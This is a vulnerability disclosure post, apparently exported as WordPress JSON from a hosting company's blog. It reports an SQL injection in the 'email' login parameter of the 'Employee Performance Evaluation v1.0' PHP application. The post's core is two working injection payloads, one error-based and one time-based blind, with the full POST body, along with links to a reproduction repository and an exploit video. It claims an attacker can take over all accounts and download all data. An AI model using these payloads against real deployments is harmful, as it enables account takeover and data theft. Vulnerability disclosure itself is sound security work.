## Title: Employee Performance Evaluation v1.0 SQLi
\n## Author: nu11secur1ty
\n## Date: 03.11.2022
\n## Vendor: https:\/\/www.sourcecodester.com\/users\/tips23
\n## Software: https:\/\/www.sourcecodester.com\/php\/14617\/employee-performance-evaluation-system-phpmysqli-source-code.html
\n## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/oretnom23\/2022\/Employee-Performance-Evaluation<\/p>\n
## Description:
\nThe `email` parameter appears to be vulnerable to SQL injection attacks.
\nA single quote was submitted in the email parameter, and a database
\nerror message was returned.
\nTwo single quotes were then submitted and the error message
\ndisappeared. You should review the contents of the error message, and
\nthe application’s handling of other input, to confirm whether a
\nvulnerability is present.
\nThe attacker can take administrator account control and also of all
\naccounts on this system, also the malicious user can download all
\ninformation about this system.<\/p>\n
Status: CRITICAL<\/p>\n
[+] Payloads:<\/p>\n
“`mysql<\/p>\n
—
\nParameter: email (POST)
\nType: error-based
\nTitle: MySQL >= 5.0 AND error-based – WHERE, HAVING, ORDER BY or
\nGROUP BY clause (FLOOR)
\nPayload: email=YgGZcTAx@sourcecodester.com’ AND (SELECT 6536
\nFROM(SELECT COUNT(*),CONCAT(0x71786a7071,(SELECT
\n(ELT(6536=6536,1))),0x716a6a6271,FLOOR(RAND(0)*2))x FROM
\nINFORMATION_SCHEMA.PLUGINS GROUP BY x)a)–
\niQpA&password=hacked&login=0<\/p>\n
Type: time-based blind
\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
\nPayload: email=YgGZcTAx@sourcecodester.com’ AND (SELECT 2365 FROM
\n(SELECT(SLEEP(5)))lFkz)– xqup&password=hacked&login=0
\n—<\/p>\n
“`<\/p>\n
## Reproduce:
\n[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/oretnom23\/2022\/Employee-Performance-Evaluation)<\/p>\n
## Proof and Exploit:
\n[href](https:\/\/streamable.com\/9q1tni)<\/p>\n","protected":false},"excerpt":{"rendered":"
## Title: Employee Performance Evaluation v1.0 SQLi ## Author: nu11secur1ty ## Date: 03.11.2022 ## Vendor: https:\/\/www.sourcecodester.com\/users\/tips23 ## Software: https:\/\/www.sourcecodester.com\/php\/14617\/employee-performance-evaluation-system-phpmysqli-source-code.html ## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/oretnom23\/2022\/Employee-Performance-Evaluation ## Description: The `email` parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the email parameter, and a database error message was returned. Two single quotes were …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21533","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21533","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21533"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21533\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21533"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21533"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21533"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}